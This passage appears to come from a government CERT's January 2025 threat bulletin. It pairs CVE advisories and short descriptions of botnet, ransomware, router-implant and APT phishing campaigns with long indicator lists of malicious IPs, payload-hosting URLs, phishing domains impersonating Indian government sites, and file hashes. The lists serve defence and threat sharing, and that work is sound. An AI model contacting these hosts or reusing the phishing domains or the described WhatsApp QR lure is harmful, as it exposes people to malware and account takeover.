These threat groups use a range of both open-source and living-off-the-land tools in their activities. Living-off-the-land tools refer to using existing, legitimate software or tools that are already available on a system or network to carry out malicious activities.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IP & Ports:**

38.60.146.78:443

118.107.219.66:443

45.123.188.180

198.244.237.131

**\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\***

1. **VA-2025-01-23-010**

**Oracle Released January 2025 Critical Patch Update**

Oracle has released its critical patch update for January 2025 to address 318 vulnerabilities across multiple products. An attacker can exploit these vulnerabilities to take control of an affected system.

CVE ID: CVE-2024-37371 (Critical), CVE-2023-46604 (Critical), CVE-2024-45492 (Critical), CVE-2024-56337 (Critical), CVE-2024-3596 (Critical), CVE-2024-53677 (Critical), CVE-2024-45492 (Critical), CVE-2025-21535 (Critical), CVE-2024-38475 (Critical), CVE-2024-5535 (Critical), CVE-2016-1000027 (Critical), CVE-2023-29824 (Critical), CVE-2021-23926 (Critical), CVE-2025-21547 (Critical), CVE-2025-21524 (Critical), CVE-2023-3961 (Critical), CVE-2024-11053 (Critical), CVE-2025-21556 (Critical), CVE-2024-23807 (Critical)

**Vulnerability in Avaya IP Office**

An unrestricted file upload vulnerability has been discovered in Avaya IP Office that allows remote command or code execution via the One-X component. All versions of Avaya IP Office prior to 11.1.3.1 are affected.

CVE ID: CVE-2024-4197 (Critical)

**Vulnerability in Avaya IP Office**

An improper input validation vulnerability has been discovered in Avaya IP Office that allows remote command or code execution via a specially crafted web request to the Web Control component. All versions of Avaya IP Office prior to 11.1.3.1 are affected.

CVE ID: CVE-2024-4196 (Critical)

**Vulnerability in OpenText iManager**

A XML external entity injection vulnerability has been discovered in OpenText iManager that could lead to Remote Code Execution (RCE). The affected version is OpenText iManager 3.2.6.0200.

CVE ID: CVE-2024-3969 (Critical)

**Vulnerability in Jeewms**

A vulnerability has been discovered in Jeewms that allows to escalate privileges via the AuthInterceptor component. The affected versions are Jeewms v.3.7 and before.

CVE ID: CVE-2024-27764 (Critical)

**Vulnerability in RenderTune**

A Cross Site Scripting (XSS) vulnerability has been discovered in RenderTune. The affected version is RenderTune v1.1.4.

CVE ID: CVE-2024-25292 (Critical)

**Security Updates for WordPress AdForest plugin**

WordPress has released security updates to resolve an authentication bypass vulnerability in the AdForest plugin. The affected versions are AdForest plugin, all versions up to and including 5.1.8.

CVE ID: CVE-2024-12857 (Critical)

**Security Updates for WordPress WPBot Pro Wordpress Chatbot plugin**

WordPress has released security updates to resolve an authenticated arbitrary file upload vulnerability in the WPBot Pro Wordpress Chatbot plugin. The affected versions are WPBot Pro Wordpress Chatbot plugin, all versions up to and including 13.5.4.

CVE ID: CVE-2024-13091 (Critical)

**Multiple Vulnerabilities in TIFF and PCX Image Codecs**

Multiple vulnerabilities have been discovered in TIFF and PCX Image Codecs that impact QNX Software Development Platform (SDP) that could cause information disclosure, Denial of Service (DoS) condition or execute code in the context of the process using the image codec. Security updates are available.

CVE ID: CVE-2024-48854 (Medium), CVE-2024-48855 (Medium), CVE-2024-48856 (Critical), CVE-2024-48857 (High), CVE-2024-48858 (High)

**Vulnerability in SolarWinds Security Event Manager**

A Remote Code Execution (RCE) vulnerability was discovered in SolarWinds Security Event Manager (SEM). The impact of vulnerability has been scaled up from high to critical. The affected versions are SolarWinds SEM 2023.4 and prior versions. Security updates are available.

CVE ID: CVE-2024-0692 (Critical)

**Vulnerability in Tenda**

A command injection vulnerability has been discovered in Tenda. The affected version is Tenda AC18 V15.03.05.19.

CVE ID: CVE-2024-57583 (Critical)

**Vulnerability in Tenda**

A stack overflow vulnerability has been discovered in Tenda. The affected version is Tenda AC18 V15.03.05.19.

CVE ID: CVE-2024-57575 (Critical)

**Vulnerability in SimpleHelp**

A privilege escalation vulnerability has been discovered in SimpleHelp remote support software. The affected versions are SimpleHelp remote support software v5.5.7 and before.

CVE ID: CVE-2024-57726 (Critical)

**Vulnerability in onnx**

An out of bounds read vulnerability has been discovered in onnx. The affected versions are onnx before and including 1.15.0.

CVE ID: CVE-2024-27319 (Critical)

**SonicWall Security Updates**

SonicWall has released security updates to address a pre-authentication deserialization of untrusted data vulnerability in SonicWall SMA1000 Appliance Management Console (AMC) and Central Management Console (CMC) that can enable unauthenticated Remote Command Execution (RCE). The affected versions are SonicWall SMA1000 AMC version 12.4.3-02804 (platform-hotfix) & earlier versions, and CMC version 12.4.3-02804 (platform-hotfix) & earlier versions.

CVE ID: CVE-2025-23006 (Critical)

**Cisco Released Security Updates**

Cisco has released security updates to address the privilege escalation vulnerability in Cisco Meeting Management REST API.

CVE ID: CVE-2025-20156 (Critical)

**SAP Released January 2025 Security Notes**

SAP has released security notes to address several critical, high, medium & low vulnerabilities affecting multiple products. An attacker can exploit these vulnerabilities to take control of an affected system.

1. **TA-MAW-2025-01-24-029**

Based on analysis, please find below malicious IoCs targeting Critical Information Infrastructures (CII). Consider life span for malicious IP addresses at least 14 days.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

152.42.234.215  
178.150.201.191  
121.206.167.36  
104.248.224.147  
41.248.20.164  
146.190.96.244  
185.202.236.149  
42.98.209.41  
193.143.1.66  
41.251.68.95  
120.85.183.110  
120.85.182.76  
49.87.1.161  
85.95.239.135  
223.155.209.216  
117.141.8.217  
120.85.119.196  
103.208.230.91  
103.15.254.132  
221.124.126.162  
188.166.227.239  
117.242.203.147  
45.148.10.96  
193.42.40.232  
112.94.99.23  
175.107.37.94  
8.130.141.115  
189.1.225.144  
159.223.45.59  
175.170.65.171  
103.158.96.65  
27.122.61.167  
14.120.76.109  
102.212.40.177  
123.203.33.63  
223.70.213.112  
112.94.96.90  
27.43.207.87  
58.153.222.94  
112.119.183.68  
120.76.75.173  
77.239.219.4  
175.107.36.54  
119.23.45.163  
185.196.10.129  
103.200.86.211

**URLs:-**

http://103.207.124.127:37292/  
http://117.235.102.179:34824/  
http://59.93.26.62:60979/  
http://61.3.110.108:46536/  
http://45.164.177.52:10331/  
http://83.243.224.243:58332/  
http://222.138.20.254:42305/  
http://59.182.130.196:40538/  
http://45.164.177.108:11501/  
http://117.209.93.206:50638/  
http://116.99.7.69:38967/  
http://186.88.189.221:42480/  
http://117.209.86.95:60039/  
http://27.207.67.142:35308/  
http://27.215.80.2:54042/  
http://103.199.200.105:36181/  
http://59.89.5.163:32947/  
http://123.173.71.238:47420/  
http://59.182.118.55:34518/  
http://45.164.177.142:10178/  
http://103.199.205.186:56735/  
http://117.209.122.145:32907/  
http://117.221.161.92:38748/  
http://182.117.113.107:50710/  
http://190.109.228.157:43246/  
http://120.61.0.6:39295/  
http://117.235.96.154:59428/  
http://189.235.183.73:52499/  
http://223.9.41.35:58696/  
http://113.24.167.57:58972/  
http://118.174.103.232:58103/  
http://103.207.124.198:51519/  
http://117.206.19.215:56921/  
http://182.113.13.43:57550/  
http://183.240.139.23:38400/  
http://45.230.66.4:11354/  
http://223.10.6.199:56912/  
http://112.249.245.88:48952/  
http://218.91.153.60:44792/  
http://45.164.177.74:10545/  
http://45.164.177.216:10517/  
http://45.164.177.161:10089/  
http://88.13.63.243:57925/  
http://115.50.102.22:44120/  
http://117.206.95.22:45284/  
http://223.13.37.176:54343/  
http://1.70.128.51:41422/  
http://172.36.0.200:39792/  
http://27.0.216.181:49103/  
http://1.70.10.88:45418/  
http://58.208.93.222:48853/  
http://219.155.237.184:56747/  
http://1.10.251.151:42613/  
http://192.21.165.188:60242/  
http://117.209.1.142:53644/  
http://117.219.122.17:58990/  
http://42.112.148.106:3500/

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-APT-2025-01-24-009**

The Advanced Persistent Threat (APT) Group Star Blizzard, also known as BlueCharlie, COLDRIVER, Callisto Group, Gossamer Bear, Iron Frontier, SEABORGIUM, TA446 or TAG-53 has launched a sophisticated spear-phishing campaign aimed at exploiting WhatsApp accounts. Initially, the adversary sends phishing emails to personal or corporate email addresses. Emails impersonate trusted contacts or well-known figures in the victim’s professional or social circles. The initial email contains a QR code claiming to offer access to a WhatsApp group focused on relevant topics. Scanning the QR code redirects to an invalid link, prompting the victim to respond for further assistance. The adversary sends a t.ly shortened malicious link, disguised as a legitimate alternative. Clicking the link leads to a webpage mimicking WhatsApp’s interface. The victim is instructed to scan a QR code that links their WhatsApp account to an attacker-controlled device. The adversary gains access to the victim’s WhatsApp account.

The APT group can view and export messages, access sensitive data, and use the account for further phishing or impersonation activities.

The campaign demonstrates Star Blizzard’s adaptability and willingness to exploit new attack vectors to evade detection, posing significant risks to high-value targets.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Domains:**

civilstructgeo.org

aerofluidthermo.org

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-PHI-2025-01-28-015**

It has been observed that numerous phishing domains/sub-domains have been registered by cyber threat actors. These domains intend to target personnel belonging to the government, defence, central investigating agencies and the judiciary.

Please find below malicious domains that are targeting Critical Sector Entities (CIIs).

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Domains:**

joinindianarmy.cadc.in

pcdaopune.gov.in.webmailnic.army

pcdaopune.gov.webmailnic.army

www.pcdaopune.gov.webmailnic.army

www.pcdaopune.gov.in.webmailnic.army

nicemail.cfd

joinindianarmy.cadc.in

gail.cv

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2025-01-28-029**

It has been observed that Linux based malware, packaged in the Executable and Linkable Format (ELF) is designed to target & exploit vulnerabilities in Linux operating systems. The ELF based malware can range from basic trojans and worms to sophisticated rootkits & ransomware. These malware's poses significant risks to servers, IoT devices, and other systems running Linux, often aiming to steal data, create botnets, or disrupt operations.

Common Capabilities of Linux ELF Malware:

* Data Theft
* Botnet Creation
* Remote Access
* Persistence
* Rootkits
* Ransomware

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

192.109.228.147

45.142.155.110

45.142.155.113

135.181.243.34

164.132.27.225

194.126.202.217

192.51.188.47

203.159.95.7

172.252.59.191

141.94.250.144

45.142.155.117

65.20.101.19

95.179.223.245

**Domains:-**

anywheres.run.place

appupdate.my-router.de

appupdate.firewall-gateway.de

appsupport.my-router.de

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-RAN-2025-01-28-014**

Nnice ransomware encrypts files on Windows systems and make them inaccessible without a decryption key. The ransomware primarily targets industries with valuable data, such as healthcare, finance, and government sectors.

After compromising the victim's machine, the adversary escalates privileges and steals credentials, web session cookies and other sensitive data before proceeding to encrypt the files. The ransomware adds the ".xdddd" extension to the original filenames and leaves a ransom note titled "Readme.txt" with instructions for recovery. The adversary’s main goal is financial gain, demanding ransom payments for the sharing decryption key.

**Tactics, Techniques, and Procedures (TTPs):**

T1059: Command and Scripting Interpreter

T1569.002: System Services: Service Execution

T1078: Valid Accounts

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Hash:**

4dd08b0bab6f19d143cca6f96c8b780da7f60dbf74f1c16c3442bc9f07d38030

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2025-01-28-030**

It has been observed that threat actors in a stealthy malware campaign known as "J-magic" are targeting Juniper enterprise-grade routers, specifically which are configured as VPN gateways. Adversaries deploy a J-magic agent on the affected router, disguising it as "JunoscriptService" to blend in with legitimate processes. Once installed, J-magic quietly monitors & scan for five predefined parameters "magic packet" conditions. When the right conditions are met, it triggers a reverse shell connection to a remote IP and port specified in the packet.

**Malware Capabilities:-**

• Detect debuggers and Deletes files, directories.

• Enumerates files, directories and running processes.

• Delays execution, Monitors network traffic, Establishes connections to the remote IP.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Hash:**

5e3c128749f7ae4616a4620e0b53c0e5381724a790bba8314acb502ce7334df2

**IP Addresses:**

157.90.212.53

130.61.173.116: 9001

85.30.131.60

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2025-01-28-031**

It has been observed that Murdoc Botnet, a variant of Mirai malware is targeting IoT devices such as AVTECH cameras and Huawei HG532 routers by exploiting command injection vulnerability (CVE-2024-7029) and Remote Code Execution (RCE) (CVE-2017-17215). Adversaries are using shell scripts for malware download, execution and for connecting to Command & Control (C2) servers for instructions. Its primary goal is to create a network of compromised devices for conducting Distributed Denial of Service (DDoS) attacks.

Malware Capabilities:-

* Gather System Information: - Retrieve system network information, active TCP packets and Change its process name.
* Shell Script Execution: Once access is gained, it uses shell scripts to download and execute the malware.
* Command-and-Control Communication: The botnet connects to C2 servers to receive instructions and updates.
* Distributed Denial of Service (DDoS) Attacks: It can launch powerful DDoS attacks to overwhelm and disrupt targeted systems and services.
* Proxy Services: It can enable proxy services, making it harder to trace the origin of the attacks.
* Malware Updates: The botnet can update itself with new malware variants to stay ahead of security measures.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

Hash:

e127153563c1e9352067e94b28687828514734d583ca6bd89ad6e9b01be46170

69405c640e224c981555509bd088ef759c584228f989e46d89e83483f9c2e4b7

IP Address:

94.154.33.42

Domains:

phhfr59rqd.parody

hsjupldf2z.pirate

9wg0dstmud.pirate

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-APT-2025-01-28-010**

It has been observed that Salt Typhoon, also known as Earth Estries, FamousSparrow, GhostEmperor, and UNC2286 has targetted telecommunication sector. Adversary has capable for cyber access to telecom core infrastructure, enabling espionage and prepositioning for future attacks. Adversary takes advantage of internet facing devices and exploits known equipment vulnerabilities to gain access to sensitive systems. Adversaries maintain access to telecom networks for months without disrupting operations, likely to hold networks at risk.

As critical infrastructure organisations, rely more on the telecom providers that increases their dependency on these service providers makes these organisations vulnerable for disruptions. All critical infrastructure organisations are to ensure that their service providers should at least follow below steps:

**Mitigation of the Risks:**

* Organisation should ensure their internet-facing devices are up-to-date and secure.
* Regular monitoring and patching can help prevent vulnerabilities from being exploited.
* Separating information technology infrastructure from operational technology infrastructure can make it harder for attackers to move laterally within compromised networks.
* Isolating operational switches and routers from intranet and internet access can protect core telecom equipment.
* Physically separating critical assets, such as core routing and switching equipment, can provide an additional layer of security.
* Adversaries exploit vulnerabilities in mobile signaling to collect subscriber information, masquerade as subscribe, or conduct denial-of-service attacks.
* Implementing security measure, such as firewalls and physical separation, can help mitigate these risks.

1. **TA-MAW-2025-01-29-032**

During analysis of Mirai samples over a week, following IOCs have been found. There are couple of things to be aware of while looking at this data:

Network IOCs may be associated with binary distribution or one of the "cnc" or "report" functions.

Network IOCs are identified from newly identified samples but may themselves not necessarily be new.

Because of nature of the static analysis, there is MODERATE confidence in accuracy of the network IOCs..

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

45.86.155.29

154.213.186.64

159.100.17.35

146.190.96.244

96.62.214.32

**Domains:**

dkuug.dk

note.gnu.property

vboundt20space.sytes.net

cnc.changeme.com

report.changeme.com

j48asd.dns.army

787892.dynv6.net

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2025-01-29-033**

Based on analysis, please find below malicious IoCs targeting Critical Information Infrastructures (CII). Consider life span for malicious IP addresses at least 14 days.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

178.62.124.244

122.96.48.228

120.85.112.108

112.94.96.249

27.43.204.69

152.42.234.215

120.85.113.181

115.55.234.19

147.93.1.100

216.9.226.148

154.126.170.127

120.86.254.210

27.43.207.96

109.236.61.63

103.203.72.236

106.51.161.97

178.72.81.235

103.15.254.189

36.81.234.196

120.34.147.125

122.97.136.180

222.247.2.148

160.22.78.157

27.43.205.55

216.9.226.154

120.85.117.225

185.232.205.184

120.85.143.102

45.164.177.21

112.94.98.222

216.9.226.158

42.57.31.8

175.107.36.83

59.183.163.163

77.239.217.49

152.42.231.197

46.19.143.26

154.213.192.66

120.86.254.48

193.239.147.201

27.43.207.167

223.149.50.248

122.97.138.120

175.107.1.160

**URLs:-**

http://45.164.177.210:10817/

http://117.211.46.89:40078/

http://175.165.81.49:33538/

http://103.167.204.14:46436/

http://116.138.12.179:43525/

http://45.230.66.11:11401/

http://59.89.10.40:42462/

http://113.221.13.20:50377/

http://27.215.215.210:47726/

http://45.230.66.43:10721/

http://103.199.200.91:45302/

http://103.207.125.87:40095/

http://59.183.124.36:58020/

http://117.217.130.239:36252/

http://117.198.9.2:58741/

http://222.137.156.216:40657/

http://102.33.6.151:57090/

http://202.21.42.72:36598/

http://139.5.1.120:36478/

http://112.239.113.194:55874/

http://83.243.224.243:58332/

http://121.30.27.207:60425/

http://103.124.138.112:40161/

http://45.230.66.7:11874/

http://45.164.177.177:11220/

http://200.109.202.150:41421/

http://39.74.217.237:59434/

http://45.178.250.106:11973/

http://117.199.164.144:54030/

http://117.205.46.215:55929/

http://61.0.222.9:33952/

http://115.52.6.155:58019/

http://103.207.124.122:55037/

http://124.93.91.173:42399/

http://42.57.31.8:42623/

http://193.239.147.201/

http://87.10.117.208:53864/

http://117.209.95.61:38579/

http://175.107.1.233:52374/

http://172.168.120.194:43097/

http://115.55.234.19:45886/

http://102.33.47.12:46135/

http://59.182.222.66:39263/

http://117.209.68.197:43859/

http://117.209.95.66:47151/

http://59.95.88.219:49686/

http://175.42.126.20:33148/

http://172.168.120.190:37906/

http://125.41.8.121:47321/

http://45.164.177.206:11858/

http://182.127.179.254:59098/

http://216.9.226.158/

http://117.209.86.23:57615/

http://27.0.217.171:43095/

http://197.200.168.33:45154/

http://103.199.180.206:33663/

http://103.207.125.237:53151/

http://110.178.74.169:55146/

http://102.36.188.215:59777/

http://117.209.89.208:57082/

http://42.233.80.21:36461/

http://117.254.217.63:41844/

http://117.82.120.44:51490/

http://103.20.3.174:58981/

http://117.219.127.68:38307/

http://117.251.182.57:45342/

http://118.248.73.255:45173/

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-PHI-2025-01-29-016**

It has been observed that numerous phishing domains/sub-domains have been registered by cyber threat actors. These domains intend to target personnel belonging to the government, defence, central investigating agencies and the judiciary.

Please find below malicious domains that are targeting Critical Sector Entities (CIIs).

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Domains:**

adhar.birthprintportal202.xyz

api.birthprintportal202.xyz

printportal.birthprintportal202.xyz

uidai.gov.in.birthprintportal202.xyz

www.adhar.birthprintportal202.xyz

www.api.birthprintportal202.xyz

www.printportal.birthprintportal202.xyz

www.uidai.gov.in.birthprintportal202.xyz

dc.csrorgi.gov.in.phpe.site

dc.csrorgi.gov.in.web.phpe.site

mail.dc.csrorgi.gov.in.phpe.site

mail.dc.csrorgi.gov.in.web.phpe.site

mail.rudraportal.phpe.site

rudraportal.phpe.site

www.dc.csrorgi.gov.in.phpe.site

www.dc.csrorgi.gov.in.web.phpe.site

www.rudraportal.phpe.site

\*.birthprintportal202.xyz

\*.phpe.site

cybercrimegov.info

depofgov.info

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2025-01-29-034**

The presence of malicious IoCs has been found in Indian Cyberspace.

Please find below IOCs in this regard.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

139.59.94.4

213.136.86.135

154.194.50.221

31.13.224.184

146.112.163.34

146.70.168.209

164.92.173.252

162.243.49.36

48.217.211.118

176.125.230.140

164.92.122.200

147.182.149.146

85.215.210.123

193.41.206.176

164.92.255.94

162.245.206.242

185.196.220.16

165.22.17.203

13.64.108.228

172.168.40.208

170.205.30.30

51.8.220.130

4.151.229.99

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **VA-2025-01-29-011**

**Vulnerability in ZTE Corporation**

A command injection vulnerability has been discovered in ZTE Corporation's ZENIC ONE R58 products.

CVE ID: CVE-2024-22063 (Critical)

**Vulnerability in WordPress Miniorange OTP Verification with Firebase plugin**

An arbitrary user password change vulnerability has been discovered in Miniorange OTP Verification with Firebase plugin for WordPress. The affected versions are Miniorange OTP Verification with Firebase plugin up to and including, 3.6.0.

CVE ID: CVE-2024-9862 (Critical)

**Vulnerability in WordPress Relevanssi – A Better Search plugin**

A CSV injection vulnerability has been discovered in Relevanssi – A Better Search plugin for WordPress. The affected versions are Relevanssi – A Better Search plugin up to and including, 4.22.1.

CVE ID: CVE-2024-3214 (Critical)

**Rockwell Automation Released Security Updates**

Rockwell Automation has released security updates to address multiple vulnerabilities in ICE2 Controller, FactoryTalk View Site Edition, PowerFlex 755, KEPServer, FactoryTalk View Machine Edition and DataMosaix Private Cloud. An attacker can exploit these vulnerabilities to take control of an affected system.

CVE ID: CVE-2025-24478 (Medium), CVE-2025-24481 (High), CVE-2025-24482 (High), CVE-2025-0631 (High), CVE-2023-3825 (High), CVE-2025-24479 (High), CVE-2025-24480 (Critical), CVE-2025-0659 (Medium), CVE-2020-11656 (Critical)

**Security Updates for WordPress ThemeREX Addons plugin**

WordPress has released security updates to resolve an arbitrary file upload vulnerability in the ThemeREX Addons plugin. The affected versions are ThemeREX Addons plugin, all versions up to and including 2.32.3.

CVE ID: CVE-2024-13448 (Critical)

**Vulnerability in Rejetto HTTP File Server**

A template injection vulnerability has been discovered in Rejetto HTTP File Server. The affected versions are Rejetto HTTP File Server, up to and including version 2.3m.

CVE ID: CVE-2024-23692 (Critical)

**Vulnerability in Progress Telerik Report Server**

An authentication bypass vulnerability has been discovered in Progress Telerik Report Server. The affected versions are Progress Telerik Report Server version 2024 Q1 (10.0.24.305) or earlier.

CVE ID: CVE-2024-4358 (Critical)

**Vulnerability in CrushFTP**

A server side template injection vulnerability has been discovered in CrushFTP. All versions of CrushFTP before 10.7.1 & 11.1.0, on all platforms are affected.

CVE ID: CVE-2024-4040 (Critical)

**Vulnerability in Tenda**

A stack-based buffer overflow vulnerability has been discovered in Tenda. The affected version is Tenda AC18 15.13.07.09.

CVE ID: CVE-2024-2546 (Critical)

**Vulnerability in ConnectWise ScreenConnect**

An authentication bypass using an alternate path or channel vulnerability has been discovered in ConnectWise ScreenConnect. The affected versions are ConnectWise ScreenConnect 23.9.7 and prior.

CVE ID: CVE-2024-1709 (Critical)

**Vulnerability in Sentrifugo**

A SQL injection vulnerability has been discovered in Sentrifugo. The affected version is Sentrifugo 3.2.

CVE ID: CVE-2024-29876 (Critical)

**Vulnerability in BradWenqiang**

A SQL injection vulnerability has been discovered in BradWenqiang. The affected version is BradWenqiang HR 2.0.

CVE ID: CVE-2024-2478 (Critical)

**Vulnerability in ABO.CMS**

A SQL injection vulnerability has been discovered in ABO.CMS. The affected version is ABO.CMS version 5.8.

CVE ID: CVE-2024-25227 (Critical)

**Vulnerability in Dell**

OS Command injection vulnerability has been discovered in Dell RecoverPoint for Virtual Machines. The affected versions are Dell RecoverPoint for Virtual Machines 5.3.x, 6.0.SP1.

CVE ID: CVE-2024-22426 (Critical)

**Vulnerability in Aviatrix Controller**

A Remote Code Execution (RCE) vulnerability has been discovered in Aviatrix Controller. All supported versions of Aviatrix Controller prior to 7.2.4996 or 7.1.4191 are affected. The updates are avaiable.

CVE ID: CVE-2024-50603 (Critical)

1. **TA-MAW-2025-01-29-035**

It has been observed that Linux based malware, packaged in the Executable and Linkable Format (ELF) is designed to target & exploit vulnerabilities in Linux operating systems. The ELF based malware can range from basic trojans and worms to sophisticated rootkits & ransomware. These malware's poses significant risks to servers, IoT devices, and other systems running Linux, often aiming to steal data, create botnets, or disrupt operations.

Common Capabilities of Linux ELF Malware:

* Data Theft
* Botnet Creation
* Remote Access
* Persistence
* Rootkits
* Ransomware

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IP:**

176.65.141.63

